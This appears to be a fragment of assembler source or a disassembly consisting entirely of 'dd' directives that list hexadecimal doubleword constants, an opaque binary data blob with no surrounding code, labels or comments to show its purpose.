dd 0D42E004h, 5082790Bh, 5881DEADh, 208C2EDCh, 13A4444h
dd 948813C6h, 4F9B5008h, 0AAF020B2h, 6F00713Dh, 47B75DBDh
dd 776D772Ah, 19C8E0CCh, 70419A8Ch, 0E0C9156Ah, 2830C240h
dd 0B8E57FF6h, 806220C0h, 89E1CB0h, 9F00DC93h, 93FFF4B3h
dd 0F07E666Bh, 8F4829A4h, 24405A70h, 0CAECACCDh, 0AB7E32BFh
dd 0F8E08CB8h, 0DF407B1Ah, 0ACC144F1h, 0C81C8650h, 80596331h
dd 5400DE40h, 0D66C69B6h, 88AFF039h, 533EE90Ch, 9FC19CC9h
dd 16DC4C80h, 523710A2h, 0E502C445h, 0E6B3E1D5h, 0DE13B844h
dd 5030AB19h, 0C957BCh, 4697ED0Bh, 0EF02A38Fh, 2F3A410Bh
dd 67BC00F2h, 2CF3145h, 7E2CD7CDh, 0EC82D659h, 9A21E32Fh
dd 0A205DF74h, 4CD3000Ch, 7313D2B5h, 6F60E21h, 36A0240Ch
dd 7934CFB4h, 9C77A104h, 2090D953h, 924C507h, 0FE1B197Bh
dd 70300844h, 84CB210Eh, 0C87814D3h, 0BE003444h, 176BB310h
dd 8539599Bh, 6AD9001Fh, 0EEA40597h, 232B021Ah, 0CA9ACBBAh
dd 0A0B42F0Bh, 1F912F81h, 8C8A06A4h, 0D85D8DDAh, 0C0E05B24h
dd 3D25A0EFh, 77F98C5Fh, 9B9000C4h, 0CE1E306Bh, 1116B2ABh
dd 0C044A094h, 0E7400C40h, 0FD78EE42h, 0E0BDA526h, 46CB225h
dd 40CC7F9Ch, 92A52DDBh, 47763882h, 67027459h, 4086C25Ah
dd 524041h, 82AF8C80h, 0CF438114h, 0DB70A526h, 0B490FD12h
dd 0F4F00Dh, 4E53ACE1h, 6A5E9A10h, 0E2A7B107h, 833E44E5h
dd 0E216589Eh, 0E3B8801Ah, 0F024CA76h, 0E7F50411h, 0C8FD7906h
dd 91019590h, 7B483EEBh, 0E0CB3AA8h, 89D102h, 90DAF91Ch
dd 81F5A974h, 45198B07h, 0B991FBEFh, 0C9FC7F69h, 1ECC09ACh
dd 0A3826CBAh, 0A4725FA4h, 8019103Bh, 0FC83BD86h, 9B5D3Ch
dd 0E7638F5Ah, 0C0DC160Ch, 5305F178h, 0B6421807h, 61B4BCC2h
dd 52141E04h, 0EA4B007Ch, 0D66E0350h, 59B50C00h, 0C2470509h
dd 4F0F3852h, 0E0919801h, 0D8840D73h, 0EC38547Eh, 0E24C7548h
dd 0E572007Bh, 0ACCF8B9Fh, 81E90084h, 0A67AAE23h, 0AB604491h
dd 437DF5B9h, 2DFD3E37h, 16B7CE81h, 48CAACB3h, 900986F0h
dd 64E47E43h, 887D00D4h, 0EABDFF3Bh, 4F078355h, 0B391B469h
dd 0A89DE9B3h, 5B1A2ACDh, 7DC52A6h, 0C317A58Ch, 4FA0D4E1h
dd 2202FCDEh, 0BE9C3585h, 493879D9h, 7A29C898h, 97063216h
dd 9271CA0Eh, 0DC2C5423h, 0A69B3444h, 0AF610B14h, 1E684CC2h
dd 39190F6h, 0D21E4C7Ch, 0FB1BDEE8h, 0E800994Bh, 3B61CCB2h
dd 0B938C2ABh, 6C66B5A9h, 2FD0C703h, 0C0DA3269h, 0BEA77C11h
dd 6E49C09Ch, 5C000375h, 0AA418B25h, 198AEBh, 0E6E76F06h
dd 0DD088D2Fh, 0CC0D9603h, 0A5FEEE26h, 0A519BB80h, 632B09B2h
dd 0D448ED45h, 88A46B5Eh, 0A30E78B0h, 82739D7Bh, 0A07AFCE7h
dd 0DDE33A90h, 0B633033Bh, 41854FB4h, 0FE5CC3B5h, 0C1D771ABh
dd 683FCBE1h, 0F180C020h, 7BC76AC9h, 0EAE807F9h, 80532047h
dd 8DE270BEh, 0CC46633Eh, 0E0C09F20h, 74BA10A0h, 558E0EC0h
dd 0FA475945h, 32FEA7A4h, 587A2B76h, 0E2133403h, 1E79EA9h
dd 0AA0F4441h, 60E661FEh, 2C4A8734h, 1031C98h, 0A5EA021Dh
dd 0DD8775D7h, 2472CBh, 390B1955h, 0BE9EA0h, 1318C5CDh
dd 0C31D277Bh, 0D1987278h, 61889305h, 94D4C10Bh, 2148F022h
dd 2A58DA79h, 0D5432C20h, 3DF81D4Bh, 0C89A0073h, 635AEF72h
dd 0BA020493h, 22F683A9h, 588070FDh, 8D6592B9h, 114C75F8h
dd 940B396Fh, 13A96635h, 8894FB34h, 9340C01Eh, 0B478F1AFh
dd 0F8990516h, 84EC901Ah, 0E0B88906h, 1112E7A5h, 1044BE66h
dd 0A488E41Bh, 0BC17025Eh, 0D45B352Eh, 0D8823062h, 0F042E1E4h
dd 0AF11C0C4h, 8C2E0AC9h, 89A63E7Dh, 0D0C817BCh, 0F1BAF5D4h
dd 9731609Dh, 94D5000Fh, 0B28AF3E1h, 0E80C1618h, 799344B5h
dd 0B8A103BEh, 5ADEE146h, 0F41D718Fh, 14A6E03Eh, 7429601h
dd 0D5F7654h, 0FAD1E710h, 0F8E1D629h, 6C97BF16h, 576843F0h
dd 697F2640h, 24844080h, 3700DB19h, 8980415Bh, 5CC4A912h
dd 6909A0CBh, 5C442F36h, 4745CC00h, 26E2D190h, 6189077Eh
dd 80A24180h, 29F05E86h, 6F19D91Fh, 0CE538C49h, 0FD9E2918h
dd 0AAF90098h, 0C2E4A8A3h, 9099C8E8h, 0F00A3E82h, 1067E009h
dd 282A4EB0h, 7A8267ACh, 98894C34h, 0E848C825h, 6300CADBh
dd 6A789130h, 3C5AE87Eh, 0FB84B8D0h, 874B1172h, 10B22404h
dd 18152288h, 0B6FFA87Ch, 0F70046D6h, 6C19C07Eh, 488CF0A2h
dd 18079F73h, 578F1BC3h, 0C8A645CEh, 0B06B638h, 3B447604h
dd 0CC1F4A89h, 8D4CAC0Ch, 0A244C46Ch, 458718ACh, 0CC4A6037h
dd 80E82B8Ch, 33C84B18h, 8CA49h, 0FC9E9FBCh, 7CF6A8A0h
dd 0A5244300h, 35B6CC84h, 4AA4A7Bh, 0D8932778h, 323DE9CCh
dd 258F87E1h, 0D4F10FC0h, 0CBE01A57h, 4261C00Bh, 0B9968EBBh
dd 0FB981B00h, 7EA88C62h
dd 42664A37h, 0B5252EBCh, 0DBA2660h, 6C89F090h, 12CD0883h
dd 0C87B94C7h, 2D5C7680h, 0E4B1C048h, 9D7FEFh, 0AB162B56h
dd 0F73B780h, 80A46348h, 1C74011Dh, 2827E869h, 308C5ACh
dd 0B6B5E703h, 715F49E6h, 68D6D00Bh, 1EFC588h, 28AD3125h
dd 7CF1BD2Bh, 0B2CC009Ch, 6D146315h, 27810E4Dh, 0F26F56EDh
dd 5380400Fh, 453398A5h, 7C010D00h, 1343B582h, 6EDA00ACh
dd 64EFD477h, 0B11F56A8h, 2C01C38Bh, 0FAA47BD1h, 8C2EC8C3h
dd 847E5466h, 5B4C9086h, 1E64401Ah, 78ADFA27h, 2D009095h
dd 15E70086h, 0CF5CB4ABh, 5A00A80Ch, 33B111BCh, 0F99424Eh
dd 8FC89D46h, 0D8600593h, 7DBCB01Dh, 432159F8h, 503890CCh
dd 695A7B84h, 982EE440h, 78A7FF20h, 809A0424h, 0F50A2A43h
dd 0C6604208h, 56B2AC22h, 25C76000h, 0AE85743h, 5184B501h
dd 8F3FBD34h, 0AC8EA0D7h, 826A1252h, 0F30808DBh, 0AB7F7940h
dd 4F67B76h, 55446AA5h, 83CBC90h, 0DEB866h, 0CE8BDA86h
dd 5B0BB68Ch, 0A2AC4B61h, 105A4230h, 2A882C9Ah, 44372F63h
dd 0D9F32811h, 1BDC64A4h, 81BBAD32h, 60C4E6h, 35CC45DDh
dd 146ABCF6h, 6694BA00h, 0A1248C09h, 5CE70B08h, 884DD29h
dd 0B044C73Eh, 0D346BC8Eh, 9E5C4B77h, 0E3270090h, 5A43BFE2h
dd 788C0680h, 30ACA8C4h, 38724102h, 87BCB31h, 0A5802C0h
dd 0B8504898h, 0BDBE3700h, 0AA8AAFE7h, 0EFB00084h, 0B4ACA49Dh
dd 3B046EB7h, 369FEC8Bh, 3E47E087h, 0DFD07C47h, 1849069h
dd 0D78175B5h, 0F25D8A48h, 0AD788840h, 86ABA80Fh, 0EC2B6A2Ah
dd 377D7F01h, 0A82D7798h, 0DC00A522h, 0AF9C0C1Ch, 0B6E6D5h
dd 8B411737h, 16F3811Fh, 0D1006674h, 83E9B552h, 9607CFACh
dd 0C10E3EACh, 0EF477133h, 53BFC0AFh, 30C076B3h, 82A3963Bh
dd 0E6B701ACh, 89B20670h, 0E0092AFCh, 0BC7A99h, 66C143B6h
dd 0AE77F108h, 0B52F8C04h, 0A8E9B16Ah, 0D574C322h, 7E542500h
dd 0FB080FFEh, 1F790216h, 70FDE163h, 5247602Eh, 143B2D9Ch
dd 0E26F7121h, 50B17509h, 83492480h, 15008611h, 4DF54394h
dd 3AAFF888h, 0E681B32Ch, 0FD42DBB4h, 0C595FC76h, 92C1D896h
dd 41E4BF3Eh, 0D3720045h, 0EA09C367h, 0CB5D0AF5h, 37D5032Ch
dd 0BB63EF13h, 0D34822FCh, 0F81BE713h, 8167A8D0h, 0E4933AFAh
dd 0FEB7C300h, 9A8C878Bh, 0A21B3706h, 32F91E7Dh, 16485942h
dd 5A88E52Fh, 2C7880C1h, 50E2A01Ch, 0B07F4700h, 3C62EB04h
dd 589A2E98h, 74142FFCh, 577B0300h, 1AC98197h, 45F001Dh
dd 9BFB364Dh, 7626A562h, 6643542Eh, 114100E3h, 818EAFFDh
dd 0C35AB1CEh, 0CAB8AC20h, 0DD47009Dh, 0FCA7E785h, 0B308DB5Dh
dd 83011BBCh, 0F6BFF51Eh, 5C0800A5h, 0AD7F96E5h, 342B7612h
dd 240068B2h, 4F578660h, 0B200F940h, 0A5EEF769h, 0A716428h
dd 68BE5F11h, 82AA17BCh, 78D9C0CCh, 78627F00h, 260D95BEh
dd 2366970h, 0F161375Eh, 4300B07Ah, 3E8ED6F3h, 0B9AC1BADh
dd 64C680ECh, 0A5491029h, 7A7C875Ch, 26C05748h, 8000009Fh
dd 0D37F7B20h, 548C242Ah, 0C7CA0130h, 70BAA574h, 0EF67848h
dd 19C240Eh, 81D74475h, 62812CECh, 0D0C6B9CFh, 91076ADBh
dd 0BB3DEAF3h, 6BB38170h, 0BC2CB088h, 0FD8A80C8h, 13568F2h
dd 78F43Fh, 0DDA9923Ch, 2954AC3Fh, 249CCECBh, 76C71178h
dd 76B5A307h, 0E9C2FE88h, 92864E5h, 0C3A9CBE1h, 4F554CA0h
dd 7500A024h, 0A802097Dh, 0C029492Dh, 9AFFC1B4h, 2E609774h
dd 0C6612110h, 0AF1F0012h, 0FC8D3307h, 0D11D9E94h, 0A8806A49h
dd 0A4E5C59Ch, 579302E1h, 8CA98AEDh, 427C48C4h, 0A5790D03h
dd 8F1BD5A2h, 10909944h, 0B4EEB5ACh, 40AE44C4h, 38906D63h
dd 0C9300078h, 58E4DC31h, 9B0CFD4h, 8B64160Ah, 0E640C4D3h
dd 9DD4489h, 0E0AA7A84h, 22794A5h, 0D850280Ch, 457A4CE4h
dd 0F4061903h, 0C211C064h, 0C20880ECh, 5A54AE39h, 8A835A9h
dd 9E800D60h, 65696127h, 282C7083h, 708FF81h, 45197E8Fh
dd 0D0561025h, 0D4FA606Ch, 0E5E12160h, 4A1BE1D6h, 797040F0h
dd 8A3719C7h, 0B4B7EB16h, 88126C09h, 0FB08EC12h, 115982DDh
dd 5844445Ah, 0B936C302h, 4BA257Dh, 94B9CBh, 0F8D14F41h
dd 0AFA863h, 386C816Ah, 0F9C808ACh, 0BC89C89Bh, 28E8D079h
dd 26CC54C5h, 0BF805D8h, 0E0E8697Eh, 513ED67Ch, 0A017093h
dd 0E3FE2D33h, 80396637h, 40F8472Ch, 0AE680CBh, 0B76D750Fh
dd 99480C8Ch, 209F6E7h, 0D8F3D153h, 38606425h, 1F880141h
dd 0C3A01944h, 40F4F805h, 67FC7144h, 438E69C0h, 998A12h
dd 80EDA5B8h, 4963377Bh, 685E21C9h, 38769198h, 8887F1A8h
dd 314C9F2Eh, 0ECBFE123h, 344F9DD5h, 1BC770C1h, 558B6983h
dd 4100AD47h, 34E6466Dh, 0E098DF6h, 206E5FA1h, 0D8862480h
dd 0AB00E81Ch, 0E4DDE970h, 659EDFA5h, 0C54638A6h, 8CA20Ch
dd 0BD06D44Ah, 68C39Fh, 8F77C68Dh, 0E13EB160h, 0F8438601h
dd 0E6854796h, 0DB44888h, 76803281h, 0D9020145h, 0AD643471h
dd 0F06A6304h, 42804B4Ch, 0C7902F15h, 0E67E8418h, 9D94D654h
dd 66A36B0Ah, 9880F019h, 0B140DD0Fh, 0B66E0743h, 51B8F5F0h
dd 2A1E9CB5h, 9DEE6020h, 0E0CFE075h, 14EA39CEh, 0C589B000h
dd 8D84C48Fh, 690A0814h, 4400762Ch, 121D6EC0h, 24748316h
dd 2C8E5EAEh, 9CC104ABh, 0CF48A83Ah, 706480CDh, 346B216h
dd 5EB442F1h, 0EAB84769h, 5BB8D179h, 2F54EE48h, 0FBF8199Ah
dd 1D165908h, 0C81F8F64h, 0FF437105h, 88E26888h, 8BFE4CFBh
dd 9A5B640Dh, 8F15069h, 0E322602Dh, 96C358C8h, 43D9E1D5h
dd 20171A40h, 54CC6334h, 60ACBCFEh, 41B3DD16h, 0C1976B00h
dd 20E2CA6h, 0E15B16D5h, 63FC08CDh, 3020931Ch, 0E2A909E6h
dd 0D0000566h, 0B2925998h, 0B80D88D5h, 0E4675900h, 282BA400h
dd 7226A505h, 0A0ABAA2Ah, 0B340B4B4h, 3EB43208h, 60D99967h
dd 12D08A4Bh, 48E7ED45h, 84A0CB27h, 185F71CDh, 69C2C132h
dd 76D122ADh, 0E00550F3h, 481CA679h, 0E750186Fh, 63872CD5h
dd 7EE20900h, 0BDB71018h, 39F52200h, 84662F1Fh, 0FD5100EDh
dd 8D018CB5h, 0DE4FFBAh, 0F9449197h, 4E4EC84Ch, 7B48410Ch
dd 20C2AE13h, 0B90517B3h, 0B46C8EF3h, 74A834D4h, 4CC0C34Bh
dd 50D98800h, 0DCE1104Eh, 5A4400F2h, 0B7C686EFh, 3C90F0BEh
dd 13009490h, 5B8164EDh, 0B9E13F3Ch, 0DE668828h, 0D66E5705h
dd 38043CF2h, 0B29F3756h, 8D250554h, 58AC7E85h, 0CF5E2F03h
dd 0BDE08FE3h, 977C99B5h, 0FBA41095h, 456E02A8h, 1D42B4A5h
dd 0C3249C80h, 0AAE282CFh, 0B12B0D0Fh, 0E1DA80BDh, 0CAA89B7Ch
dd 9BCE738h, 500828AFh, 54434BF0h, 5080E2AAh, 0BFE783Dh
dd 46179A03h, 95668CDCh, 0E086A0D0h, 90F75B42h, 22F41E00h
dd 0CC7F9104h, 0F8C2D76Ah, 7D52948h, 15221B21h, 0A9808204h
dd 429C4680h, 70B100E7h, 3886890Eh, 406C004Ah, 18D474C8h
dd 3D01D34Eh, 497EC043h, 35E156CEh, 0C161083h, 0B10E110Bh
dd 0C0ACCFA9h, 71A8A0DEh, 4494B81Dh, 0C04EA6C4h, 80A68412h
dd 1AD0C84Fh, 0A913420Ah, 0F0905081h, 3FECB682h, 6640D054h
dd 3929BE42h, 88CA279Fh, 4A017410h, 3CBBA3D1h, 2FC486BEh
dd 0B0667949h, 0F4EF00FAh, 73243893h, 0E263B5F6h, 0F21AC808h
dd 6018DC7Fh, 0B7A51D56h, 0A0303FFFh, 1014B902h, 40072CA9h
dd 0ECB18F08h, 518E3980h, 0AC1AC6h, 6C315762h, 6D5EE468h
dd 0BB340h, 80D964E2h
dd 88896074h, 20C84328h, 0C09FC500h, 64CFE4E1h, 2017014Dh
dd 1BD02946h, 91C3830h, 79377F7Bh, 7CBD1EF8h, 44689C24h
dd 0C068BC2Bh, 599EBB68h, 3F6D0064h, 4A31895h, 0D83808F9h
dd 497BFDFh, 7875DD2Bh, 80F68084h, 0D104B421h, 0AA409044h
dd 51A7FA21h, 5E2E5B07h, 25718047h, 84DE3517h, 0ECECA6B8h
dd 7A67E410h, 338060B6h, 350E6E73h, 0CF5404B9h, 0C525BCC9h
dd 89ECB26Ch, 0F9848040h, 0B1A8A3BAh, 521381D8h, 0E4BD3B7Bh
dd 10011417h, 0ABA72589h, 843703B2h, 0FE58374Bh, 7D439081h
dd 25442381h, 15CC2047h, 2142370h, 0C9D71DCh, 0D879C143h
dd 1800EF10h, 80AA2A42h, 1F5C2587h, 0C0B13F50h, 61CF02B7h
dd 0E2A24690h, 54013CC6h, 6F063381h, 25D840E0h, 2224B8F3h
dd 3A1692CAh, 0D403E480h, 0A4A9B537h, 0F18800F8h, 0E7ACE8E1h
dd 2CF8E9F0h, 0C9704437h, 4578004h, 8148367h, 0FF80543Fh
dd 0BD9B534Ah, 1007C52h, 6B1DAC5Fh, 355B2EFh, 0C5AF42FEh
dd 0B6C25CC1h, 9466C062h, 0E9C91F01h, 0EB34108Ah, 0A3493080h
dd 0A7C437Fh, 0B02F40A0h, 76A4E409h, 0D1509047h, 25BF0257h
dd 0CB8CAEC0h, 5F01D052h, 0A04C9DCDh, 0A980FAFDh, 2D81DB86h
dd 1100AD31h, 0D0508F4Dh, 3E8A667h, 841CD42Bh, 0B5C8FDDEh
dd 5F2E44F1h, 0B4075605h, 9859CEA6h, 12CA410h, 56302D06h
dd 20B1BCB6h, 0AA27FA30h, 34E6A3h, 0E5427F79h, 0EB0B76B3h
dd 7B6E4C13h, 45161603h, 0E85C8856h, 7D600C7Ch, 4FA92609h
dd 0B88BC80Bh, 2E7C7043h, 400CCB2Ah, 61D89A19h, 119D6904h
dd 68805244h, 58C208E4h, 6B01EC96h, 0BD3859A0h, 0EBDE33Ah
dd 14344508h, 0E11B8061h, 0C043FE9h, 8A440F83h, 0C4E52118h
dd 0BE88AC11h, 0C89F0F81h, 0B2313973h, 7AA0C87Ch, 9C3A3D1Dh
dd 91A00C8h, 0D6F9620Eh, 20A95E3Bh, 1FA2CD78h, 4BEC7116h
dd 652224B4h, 0E80710Ah, 8B7FA444h, 0BC895EBFh, 8DFE20C8h
dd 10E8E24Ch, 0D10B239Eh, 5003ED94h, 0CBC2D5D2h, 45009459h
dd 0ECC5AB42h, 0DCFD2A95h, 0A84730D0h, 89453521h, 5783B300h
dd 4FB8867Fh, 0AAAC2F1Bh, 5D58C818h, 70647648h, 8F748A17h
dd 20E65062h, 7DA9C7C8h, 8A400496h, 0FE27887Eh, 17A5FE25h
dd 0CC34F576h, 9E16B114h, 0A00BAFCDh, 0B2D0E9A8h, 5E800828h
dd 4AB244Bh, 0B8567712h, 0B68FAF02h, 0EAEC80E1h, 0A0C5A5E7h
dd 3BAA90F8h, 25A491C2h, 0A2082008h, 0B7140414h, 569F84BDh
dd 64A378h, 97D8F934h, 0B5F1DEh, 0D68AFF1Eh, 0E69F4CECh
dd 0E901472Dh, 71130DF8h, 18D798D8h, 0F01CE8B8h, 9B424454h
dd 0E0B53386h, 3EAF0178h, 2903AAE1h, 37D39E46h, 0F0391FE1h
dd 0BC1404C9h, 4AE07554h, 9047E444h, 0C17FA440h, 63EC6BDDh
dd 4A4E010Fh, 0CB5A8058h, 48F86DF4h, 0E4C040AEh, 0E877AD57h
dd 6707EF79h, 0DD2D5B6Fh, 0D31141A0h, 8508CB09h, 3479EC18h
dd 0DD006BF7h, 22CBB642h, 1DF7B04h, 4BC1585Dh, 0F2069F0Eh
dd 0AB2D8CD2h, 1CFE36h, 0A4B410C7h, 0B5012829h, 784C0C77h
dd 64CE80E5h, 5EA200ACh, 0C181F34Fh, 8C007B24h, 9E089B01h
dd 99B705A1h, 0DCB2805Ch, 0B1A29438h, 0A88DE000h, 8187B99Fh
dd 0C55107F9h, 4484C6E8h, 0C3F090E5h, 0BF0361A2h, 47FAD1E3h
dd 0A884AC41h, 0F21374A2h, 6986027Fh, 38512A4Fh, 1244A409h
dd 913AC080h, 41AA3BABh, 0B6F44704h, 6FECE4FDh, 0EFE1B800h
dd 691CE804h, 0B4961242h, 2E02CA5h, 0DEE602E1h, 40438050h
dd 42DC1892h, 54784700h, 0A0EA2286h, 0E00F488Fh, 50278710h
dd 0AA8BC1B8h, 2ABC798Ch, 0FE6211ECh, 16AB22DBh, 2BCA8Ch
dd 2A565C1Fh, 0CB0B7C99h, 988A373h, 926471C4h, 8400BBA4h
dd 70648C24h, 46D80012h, 1EB4426Eh, 2207E066h, 215D3272h
dd 76D75A80h, 0C90F6028h, 103444E7h, 8C278B05h, 0A0886908h
dd 625F0353h, 0FF7C7B03h, 72EAB7E9h, 100474F4h, 0A22A7A9Eh
dd 63C4D8E9h, 841B247Eh, 0BCA5C019h, 0CA0400F7h, 0E36D1E38h
dd 9CEAB7A6h, 0FC8B5F4Eh, 202C991Dh, 0DC502E00h, 9EEC20F1h
dd 0B4D703FAh, 9A284464h, 5F46D2C0h, 36071C7Eh, 67C2DECCh
dd 0AF9EBD8Eh, 0E3E4690Fh, 0C51BFE78h, 2E0258E3h, 0A5164FE7h
dd 0A047445Ch, 0E98BBC10h, 2E1000A4h, 0F0789B6Bh, 0BEF0D5C1h
dd 5C06EF02h, 601D0854h, 7523550h, 1B8B966Bh, 8FAD4h, 2BACC0C3h
dd 0FE04817Eh, 0E15646A2h, 799EFC8Ch, 0DDBA00ECh, 0F3F4987Ch
dd 2C00B795h, 5DBC86A8h, 9DA514DFh, 9C619432h, 0A608401Ch
dd 0A09480FFh, 7933B440h, 7A1B0144h, 5DD1A67h, 0D6B9F0B6h
dd 6D6EFB2Ch, 5ABAFA0Bh, 3984B0F8h, 0D104F8E1h, 0E088A91Ah
dd 6C9507FCh, 0C39E001Ch, 831431F1h, 0C558578Ch, 50458008h
dd 1ECC41A2h, 1415DE2Dh, 7A250838h, 7701CC44h, 671F3C1Ch
dd 9828462Fh, 46ABA2C4h, 44101979h, 0CF487EDEh, 3A9609FFh
dd 0C084CAE2h, 29C289C8h, 8415B2h, 5D8A2A1Eh, 0F900E0CCh
dd 87A8AA72h, 3EBC19h, 42E7B907h, 0AD2EBB14h, 4AF48F5Ch
dd 0D94C88h, 0B6220B66h, 0BC091C08h, 3E14CA00h, 329B8516h
dd 0FFE525DCh, 4278C804h, 0FC7C6634h, 28C54BA0h, 1378D400h
dd 0C8C0A5Eh, 42188B27h, 0AC7FC1B8h, 219E2584h, 8A6910E4h
dd 0FC284B8h, 2C8A38ECh, 4AC627Ch, 0A10B7C10h, 0E7D02F20h
dd 0A2923D63h, 22FB1B16h, 2880E6F0h, 70F5783Dh, 0A8E44612h
dd 0A41C58F1h, 4C1812Dh, 0C84B58B8h, 0B6019564h, 0C588334Fh
dd 36E0B349h, 2F8B8CAh, 0A9E0C09Eh, 80A5F18Bh, 93C8F4FCh
dd 6D47D700h, 18B25A1Ch, 0D31B025Ch, 81B57852h, 0F9CB8661h
dd 1038AD2Dh, 4A09DC8h, 13565EA3h, 45658009h, 6FE73781h
dd 0CC541C23h, 44C98884h, 71A4086Eh, 52B1CF80h, 0F66B2486h
dd 1F4B0E97h, 0A8806D56h, 6E5329Eh, 8F46BB13h, 3D0000B2h
dd 0FA911453h, 0F5EE7E75h, 22679B00h, 0B260E62Dh, 0E9FD0B68h
dd 0AA8271E5h, 47EF1B4h, 0A66E6100h, 0B6F903h, 5486E8FFh
dd 45FE7BB5h, 7500E0E0h, 0E1DA9AACh, 3A5E8F3Eh, 541F65C0h
dd 52A58Bh, 2C44712Ch, 1F8C44Bh, 3913F438h, 0DAB26DB6h
dd 43799CC0h, 886CD503h, 0F084A966h, 2E62AB0Dh, 60144150h
dd 0B2B5DC51h, 30BD2B00h, 0FE3637A2h, 0C86E4BA5h, 5D1F31B4h
dd 0AD80CDB4h, 1061CE4h, 8B7A0075h, 0D630158Ch, 512CB279h
dd 0E14034C7h, 0E4751Fh, 55B687EDh, 397C8A35h, 0E00AB78h
dd 123E0A7Dh, 278CA1B2h, 0C8EB1605h, 7E28E809h, 0F6872E1h
dd 630A1EADh, 0AA7BBD04h, 5D962020h, 0E9740106h, 6BA07EEAh
dd 103C3836h, 7F01837Ah, 104445ECh, 0ADDC3039h, 87D988h
dd 0FA2D82B1h, 2E75476Dh, 0EEF5BE00h, 76DB9992h, 1A54BEDh
dd 0E7E4B164h, 6CC02381h, 409A9046h, 87887FA2h, 489004Dh
dd 0F2270E96h, 0C1019486h, 0FF01C7A9h, 86C211Ah, 0D8B2A4h
dd 761C377Ch, 719CA6h, 527FC10Ch, 1DACC789h, 278018A0h
dd 8E467B25h, 40A36AB4h, 0E69500BBh, 9111816Bh, 3788002Eh
dd 0E1334270h, 4407B574h, 26CBFB77h, 0FE403424h, 4E9BFF0Ah
dd 0E5D4A600h, 0A483F567h, 39EE057Fh, 0C59C5447h, 4360A26Ch
dd 0A18200C0h, 0D04A0BE6h, 29CE02F2h, 8C5C8B6Fh, 0C40FB842h
dd 64E085A2h, 9E83FCC5h, 0C25FDAD7h, 41D0F41Eh, 0C0601903h
dd 0C0014AC6h, 0D8FD66ECh, 29D0755Bh, 0B770B0A2h, 88DF6804h
dd 0ED24C534h, 4700A056h, 2DA47C28h, 0D7C406ACh, 71D66E8Ch
dd 4FDD48A0h
dd 2C0789E8h, 0D35755C9h, 4EE745C1h, 0CF1D69D8h, 0AFF67729h
dd 0C1CAE301h, 2828947Ah, 25FCE7C5h, 425F0780h, 91C15E63h
dd 304C36B8h, 75026F27h, 2976AD71h, 15F4913Ch, 0C2C0C510h
dd 8B4CC800h, 6BC1E025h, 0F6780E04h, 0AAA5EC23h, 4B88B38Ch
dd 0E0F4D0C4h, 0B560B0A6h, 0A2C88C98h, 18791F12h, 400D4088h
dd 8D4CAC0Ch, 0B7A48010h, 120EEC56h, 97FEC0A3h, 74AE483Ch
dd 4CAA5140h, 108C0731h, 8028B001h, 0A9358F6Ah, 2CB58D19h
dd 54295F51h, 0C81E4A3Dh, 649EC015h, 0ADF325D8h, 0CF43D900h
dd 376353E8h, 28A0B561h, 0A4CE2886h, 0B4E08C4Ah, 0B610F5DCh
dd 0C07D9FE1h, 7800E8ECh, 43A081DBh, 28EFAFABh, 2086B71h
dd 9A581D8Dh, 9E01A801h, 0C534278h, 1C104581h, 4A87FDECh
dd 89CB4C4h, 746E97h, 7C6E4CE6h, 0AA9AFADAh, 0A450FC91h
dd 0D9640B87h, 3070D090h, 44B82B7Eh, 17AAB723h, 1F980B57h
dd 0E78F245Bh, 3A220214h, 2BD0F6E0h, 0CB8BE2F8h, 0ED025C8Ch
dd 0DCE42001h, 4C090F2Bh, 0B7040F2Fh, 2781FD42h, 0F1D5CA4h
dd 4C50F04Ah, 10FD8434h, 5E5DA9h, 8856E77Fh, 0CDE46960h
dd 2268E15Dh, 47A894E5h, 0C91C0C8h, 5CA74D86h, 5007013Eh
dd 9B78C342h, 3860DC21h, 79AB44AFh, 14907F77h, 0A8476B01h
dd 8E16963h, 0CACC6092h, 0D8111ACh, 62003322h, 0C233871h
dd 1D13010Bh, 7D50168Eh, 7C48E100h, 855177D2h, 8184252Fh
dd 2FFAD13Ch, 0BD4BE9CCh, 0DFD4D898h, 30EF7800h, 9EB2D080h
dd 75B5032Ch, 77B336Ch, 1A48608Fh, 0A800EFD4h, 8F98BFAAh
dd 21EFEF4h, 0B70501B4h, 4460F6C3h, 6709589Ah, 10697E90h
dd 2E3AC30h, 0B22DEC24h, 608030CBh, 40AA8566h, 178FF800h
dd 37A812EBh, 920D0090h, 0B420053Eh, 58C01663h, 672A5053h
dd 0C0C10E40h, 0BD2174B8h, 41694354h, 41EF4508h, 3289AE14h
dd 57CC0514h, 4818C454h, 0D76D028h, 11886EB8h, 7D080260h
dd 6343CCD6h, 0EAE7C83Ah, 0E0BA00E2h, 0E9D2829Ch, 3D00F48Ah
dd 640A672h, 1C17D470h, 402FDCC8h, 28447607h, 0F426868Ah
dd 0E3081CB5h, 63878726h, 40C9C79Eh, 668CA728h, 90EE6B2Fh
dd 267650BCh, 2087ADh, 9C70C294h, 0B6091AA5h, 54A96FE6h
dd 0A6864490h, 24802094h, 17985246h, 0B30825DBh, 72B2744h
dd 6D518820h, 226E3B45h, 981ACD70h, 3BF143F4h, 9F0D0D6h
dd 2C6BE042h, 0CE1EA402h, 0EC6014E2h, 0E312E4D5h, 0BC320581h
dd 0B7A0403h, 3D4098C8h, 0E57900D9h, 7F8DB678h, 2D004155h
dd 25F78468h, 291E1C9h, 6C2B899Eh, 50823845h, 0C510D96Eh
dd 8F7B3730h, 0FD1640E0h, 0CBF8D1B9h, 2E090BDh, 34542415h
dd 0F746006Eh, 28804B19h, 0A8087A24h, 7607AF09h, 8A60CF58h
dd 228DF269h, 0CCA6FC17h, 885EB48Ah, 943F9A48h, 2A3E006Fh
dd 6BF37D2Eh, 0A0C374E1h, 7561B6F9h, 0DC1E5013h, 73834493h
dd 0D686A300h, 0A478EDE4h, 0A5F609EFh, 0DC7C893Ah, 0DCF14F40h
dd 0A70200BBh, 678FDD56h, 43005706h, 1890AF23h, 1F2DE1D9h
dd 2F41D236h, 569ED810h, 64B5A925h, 0DEE52294h, 11197E2Fh
dd 8F17FEDCh, 0B975C520h, 89040A3h, 6EAED600h, 956D43D3h
dd 56423E4Ah, 34F82B05h, 0EB91F74h, 3AA7BE75h, 0CD000FD3h
dd 3C0AD459h, 7F45C517h, 8260FC87h, 13C0F44Dh, 0CCFE1BE7h
dd 0EA09FC28h, 0D29A376Bh, 6D8F1240h, 0C0800083h, 93F81B78h
dd 653492BFh, 5B188B20h, 0DC91A182h, 6A3F0041h, 94D82020h
dd 424904BDh, 0B26D87A5h, 80E33814h, 40BCF36h, 0AE4F56h
dd 1B68438Ah, 0A5A349DFh, 74A2B4B8h, 3464005Fh, 0F0DEA626h
